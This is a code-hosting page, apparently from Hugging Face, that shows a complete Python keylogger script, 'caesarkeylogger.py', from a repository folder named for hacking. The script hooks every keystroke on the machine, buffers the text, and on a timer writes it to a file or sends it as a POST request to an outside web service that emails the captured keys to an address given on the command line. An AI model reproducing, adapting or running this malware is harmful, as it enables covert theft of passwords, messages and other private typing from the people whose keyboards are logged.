CoolFace
Apppublic

palondomus/CaesarAIShowCase

sourceHugging Faceupdated 3y agoView on Hugging Face
0likes
caesarkeylogger.py136 linesDownload Raw Back to CaesarHacking
1import sys2import base643import keyboard # for keylogs4import requests5import smtplib, ssl # for sending email using SMTP protocol (gmail)6# Timer is to make a method runs after an `interval` amount of time7from threading import Timer8from datetime import datetime9from email.mime.multipart import MIMEMultipart10from email.mime.text import MIMEText11 12class Keylogger:13    def __init__(self, interval, report_method="email"):14        # we gonna pass SEND_REPORT_EVERY to interval15        self.interval = interval16        self.report_method = report_method17        # this is the string variable that contains the log of all 18        # the keystrokes within `self.interval`19        self.log = ""20        # record start & end datetimes21        self.start_dt = datetime.now()22        self.end_dt = datetime.now()23 24    def callback(self, event):25        """26        This callback is invoked whenever a keyboard event is occured27        (i.e when a key is released in this example)28        """29        name = event.name30        if len(name) > 1:31            # not a character, special key (e.g ctrl, alt, etc.)32            # uppercase with []33            if name == "space":34                # " " instead of "space" hello world my name is amari35                name = " "36            elif name == "enter":37                # add a new line whenever an ENTER is pressed38                name = "[ENTER]\n"39            elif name == "decimal":40                name = "."41            else:42                # replace spaces with underscores43                name = name.replace(" ", "_")44                name = f"[{name.upper()}]"45        # finally, add the key name to our global `self.log` variable46        self.log += name47    48    def update_filename(self):49        # construct the filename to be identified by start & end datetimes50        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")51        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")52        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"53 54    def report_to_file(self):55        """This method creates a log file in the current directory that contains56        the current keylogs in the `self.log` variable"""57        # open the file in write mode (create it)58        with open(f"{self.filename}.txt", "w") as f:59            # write the keylogs to the file60            print(self.log, file=f)61        print(f"[+] Saved {self.filename}.txt")62 63 64    def sendmail(self, recipient_email , message, verbose=1):65        # manages a connection to an SMTP server66        # in our case it's for Microsoft365, Outlook, Hotmail, and live.com67        response = requests.post("https://revisionbank-email.onrender.com/raspsendemail",json={"raspsendemail":{"email":recipient_email,"message":message,"subject":"Caesar Guest KeyLogger"}}).json()68        69        if verbose:70            print(f"{datetime.now()} - Sent an email to {recipient_email} containing:  {message}")71            print(response)72 73    def report(self):74        """75        This function gets called every `self.interval`76        It basically sends keylogs and resets `self.log` variable77        """78        if self.log:79            # if there is something in log, report it80            self.end_dt = datetime.now()81            # update `self.filename`82            self.update_filename()83            if self.report_method == "email":84                self.sendmail(TO_EMAIL_ADDRESS, self.log)85            elif self.report_method == "file":86                self.report_to_file()87                # if you don't want to print in the console, comment below line88                print(f"[{self.filename}] - {self.log}")89            self.start_dt = datetime.now()90        self.log = ""91        timer = Timer(interval=self.interval, function=self.report)92        # set the thread as daemon (dies when main thread die)93        timer.daemon = True94        # start the timer95        timer.start()96 97    def start(self):98        # record the start datetime99        self.start_dt = datetime.now()100        # start the keylogger101        keyboard.on_release(callback=self.callback)102        # start reporting the keylogs103        self.report()104        # make a simple message105        print(f"{datetime.now()} - Started keylogger")106        # block the current thread, wait until CTRL+C is pressed107        keyboard.wait()108 109    110if __name__ == "__main__":111    # in seconds, 60 means 1 minute and so on112    if len(sys.argv) == 3:113        if sys.argv[1] == "help":114            print("caesarkeylogger.exe <recipientemail> <send_report_every>")115        elif sys.argv[1] != "help":116            TO_EMAIL_ADDRESS = sys.argv[1]117            SEND_REPORT_EVERY = int(sys.argv[2])118            # if you want a keylogger to send to your email119            # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")120            # if you want a keylogger to record keylogs to a local file 121            # (and then send it using your favorite method)122            past = datetime(2022, 12, 30)123            present = datetime.now()124        125            if past.date() >= present.date():126                report_method = "email"127            else:128                report_method= "file"129 130            keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method=report_method)131            keylogger.start()132 133 134    elif len(sys.argv) != 3:135        print("caesarkeylogger.exe <recipientemail> <send_report_every>")136